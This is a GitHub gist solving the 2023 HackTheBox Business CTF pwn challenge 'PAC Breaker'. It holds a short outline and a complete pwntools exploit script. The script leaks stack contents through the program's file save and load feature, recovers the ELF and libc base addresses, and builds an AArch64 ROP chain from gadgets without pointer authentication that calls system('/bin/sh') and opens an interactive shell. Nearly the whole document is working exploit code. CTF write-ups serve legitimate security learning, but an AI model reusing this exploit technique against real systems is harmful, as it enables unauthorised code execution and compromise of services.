Skip to content

Instantly share code, notes, and snippets.

@d0now
Last active July 16, 2023 21:18
Show Gist options
  • Save d0now/095738231f5316525dd6e9df35de726b to your computer and use it in GitHub Desktop.
Save d0now/095738231f5316525dd6e9df35de726b to your computer and use it in GitHub Desktop.
2023 HackTheBox Business CTF - PAC Breaker (pwn)
  1. you can dump stack
  2. get canary, elf base, libc base leak
  3. ROP with no pac included gadgets
  4. profit
from pwn import *
import copy
import random
MAX_PEOPLE = 10
MAX_NAME_LEN = 30
MAX_CON_LEN = 15
MAX_ADDRESS_LEN = 50
MAX_BUFFER_SIZE = 100
def encode(s):
if type(s) == str:
return s.encode('ascii')
return s
class ProbIO:
PROMPT_START = b"\n=========== Main Menu ===========\n"
PROMPT_END = b"==================================\n\n> "
def __init__(self, p):
self.p = p
def send_prompt_cmd(self, cmd):
self.p.sendlineafter(self.PROMPT_END, str(cmd).encode('ascii'))
def read_until_next_prompt(self):
return self.p.readuntil(self.PROMPT_START)[:-len(self.PROMPT_START)]
def sel1(self, filename):
filename = encode(filename)
self.send_prompt_cmd(1)
self.p.sendlineafter(b"Enter the target ID: ", filename)
return self.read_until_next_prompt()
def sel2(self, name, address, number):
name = encode(name)
address = encode(address)
number = encode(number)
self.send_prompt_cmd(2)
self.p.sendafter(b"Enter the target name: ", name)
self.p.sendafter(b"Enter the residence address: ", address)
self.p.sendafter(b"Enter the contact number: ", number)
return self.read_until_next_prompt()
def sel3(self, name):
self.send_prompt_cmd(3)
self.p.sendlineafter(b"Enter the name of the target you want to lookup: ", encode(name))
return self.read_until_next_prompt()
def sel4(self, filename):
self.send_prompt_cmd(4)
self.p.sendlineafter(b"Enter the target ID: ", encode(filename))
return self.read_until_next_prompt()
def sel5(self, filename, choice):
self.send_prompt_cmd(5)
self.p.sendlineafter(b"Enter the target ID: ", encode(filename))
self.p.sendlineafter(b"Target selection: ", encode(str(choice)))
return self.read_until_next_prompt()
def sel6(self, choice):
self.send_prompt_cmd(6)
self.p.sendlineafter(b"Target to remove: ", encode(str(choice)))
return self.read_until_next_prompt()
class Primitives:
def __init__(self, io):
self.io = io
self._wrong_stack_dump = b''
self._wrong_stack_dump_count = 0
def load_targets_from_file(self, *args, **kwargs) : return self.io.sel1(*args, **kwargs)
def add_target(self, *args, **kwargs) : return self.io.sel2(*args, **kwargs)
def search_target(self, *args, **kwargs) : return self.io.sel3(*args, **kwargs)
def save_targets_to_file(self, *args, **kwargs) : return self.io.sel4(*args, **kwargs)
def save_target_to_file(self, *args, **kwargs) : return self.io.sel5(*args, **kwargs)
def remove_target(self, *args, **kwargs) : return self.io.sel6(*args, **kwargs)
def add_target_and_save(self, name, address, number, save, trick=False):
self.add_target(name, address, number)
if not trick:
self.save_target_to_file(save, 0)
else:
self.save_targets_to_file(save)
self.remove_target(0)
def make_null_file(self):
self.add_target_and_save(b'\0', b'\0', b'\0', "null", trick=True)
def make_null_filled_file(self):
self.add_target_and_save(b'\0' * MAX_NAME_LEN, b'\0' * MAX_ADDRESS_LEN, b'\0' * MAX_CON_LEN, "null-filled")
def stack_dump_from_targets(self, count=0x20):
if self._wrong_stack_dump_count >= count:
return copy.deepcopy(self._wrong_stack_dump)
prog = log.progress("dumping stack")
dump = b''
fmap = []
suffix = random.randint(0, 0xffffffff)
for i in range(count):
filename = f"{i:02x}-{suffix:08x}"
prog.status(f"saving file: {filename}/{count}")
self.add_target_and_save(p8(i + 1) + p8(0), b'\0', b'\0', filename, trick=True)
fmap.append(filename)
for i in range(count):
prog.status(f"reading file: {fmap[i]}/{count}")
self.load_targets_from_file(fmap[i])
res = self.search_target(p8(i + 1))
now = 0
res = res[len("Target Name: "):]
dump += res[:MAX_NAME_LEN]
res = res[MAX_NAME_LEN:]
res = res[len("Residence Address: "):]
dump += res[:MAX_ADDRESS_LEN]
res = res[MAX_ADDRESS_LEN:]
res = res[len("Contact Number: "):]
dump += res[:MAX_CON_LEN]
res = res[MAX_CON_LEN:]
for i in range(count):
prog.status(f"cleaning: {i}/{count}")
self.remove_target(0)
self._wrong_stack_dump = dump
self._wrong_stack_dump_count = count
prog.success(f"success! (size {count * 0x5f}b)")
return copy.deepcopy(dump)
def leak_from_targets(self, offset, size, ignore=False):
if not ignore:
for o in range(offset, offset + size):
if o % (MAX_NAME_LEN + MAX_ADDRESS_LEN + MAX_CON_LEN) == 0:
raise Exception("leak contains wrong byte!")
count = ((offset + size) // 0x5f) + 1
dump = self.stack_dump_from_targets(count)
return dump[offset:offset+size]
def leak_elf_base(self):
return u64(self.leak_from_targets(0x3c0, 8)) - 0x17c8
def leak_libc_base(self):
return u64(self.leak_from_targets(0x4f0, 8)) - 0x277f8
def fill_main_stack(self, payload):
prog = log.progress("filling stack")
suffix = random.randint(0, 0xffffffff)
fmap = []
for i in range(0, len(payload), 0x5f):
name = payload[i:i+MAX_NAME_LEN]
i += MAX_NAME_LEN
address = payload[i:i+MAX_ADDRESS_LEN]
if not address: address = b'\0'
i += MAX_ADDRESS_LEN
contact = payload[i:i+MAX_CON_LEN]
if not contact: contact = b'\0'
i += MAX_CON_LEN
filename = f"{i:02x}-{suffix:08x}"
fmap.append(filename)
prog.status(f"saving file: {filename}, {i}/{len(payload)}")
self.add_target_and_save(name, address, contact, filename)
for filename in fmap:
prog.status(f"filling with file: {filename}")
self.load_targets_from_file(filename)
prog.success(f"filled! count is {len(fmap)}")
class Ropper:
def __init__(self, e, l):
self.e = e
self.l = l
self.load()
def load(self):
# 0x0000000000117e40 : ldp x1, x2, [sp, #0x68] ; mov x0, x21 ; blr x2
self.libc_gadget_1 = self.l.address + 0x0000000000117e40
# 0x000000000012fd70 : ldp x29, x30, [sp], #0x40 ; ret
self.libc_gadget_2 = self.l.address + 0x000000000012fd70
# 0x000000000002adac : mov x5, x24 ;
# ldr x8, [sp, #0x70] ;
# mov x3, x19 ;
# ldr x0, [sp, #0x90] ;
# movz w6, #0 ;
# ldr w7, [sp, #0x98] ;
# movz x4, #0 ;
# blr x8
self.libc_gadget_3 = self.l.address + 0x000000000002adac
def call_with_fault(self, func, arg):
payload = p64(self.libc_gadget_1)
# --- sp + 0x00
payload += p64(0xdeadbeefdeadbeef)
payload += p64(self.libc_gadget_2)
# --- sp + 0x10
payload += b'A' * 0x30
# --- sp + 0x40
payload += p64(0xdeadbeefdeadbeef)
payload += p64(self.libc_gadget_2)
# --- sp + 0x50
payload += b'A' * 0x18
# --- sp + 0x68
payload += p64(0)
payload += p64(self.libc_gadget_2)
# --- sp + 0x78
payload += b'A' * 8
# --- sp + 0x80
payload += p64(0xdeadbeefdeadbeef)
payload += p64(self.libc_gadget_3)
# --- sp + 0x90
payload += b'A' * 0x30
# --- sp + 0xc0 (0x00)
payload += b'A' * 0x70
# --- sp + 0x70
payload += p64(func)
# --- sp + 0x78
payload += b'A' * 0x18
# --- sp + 0x90
payload += p64(arg)
return payload
def build(self):
payload = b'A' * 0x3c0
# payload += b'A' * 0x8
payload += self.call_with_fault(l.symbols['system'], next(l.search(b"/bin/sh\0")))
return payload
def main(p, e, l):
io = ProbIO(p)
pri = Primitives(io)
rop = Ropper(e, l)
l.address = pri.leak_libc_base()
e.address = pri.leak_elf_base()
log.info(f"elf base : 0x{e.address:016x}")
log.info(f"libc base: 0x{l.address:016x}")
pri.fill_main_stack(Ropper(e, l).build())
p.interactive()
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", type=str, default="localhost")
parser.add_argument("-P", "--port", type=int, default=1337)
parser.add_argument("--libc", default="./libc.so.6")
parser.add_argument("--elf", default="./chall")
args = parser.parse_args()
p = remote(args.host, args.port)
e = ELF(args.elf)
l = ELF(args.libc)
input("break> ")
main(p, e, l)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment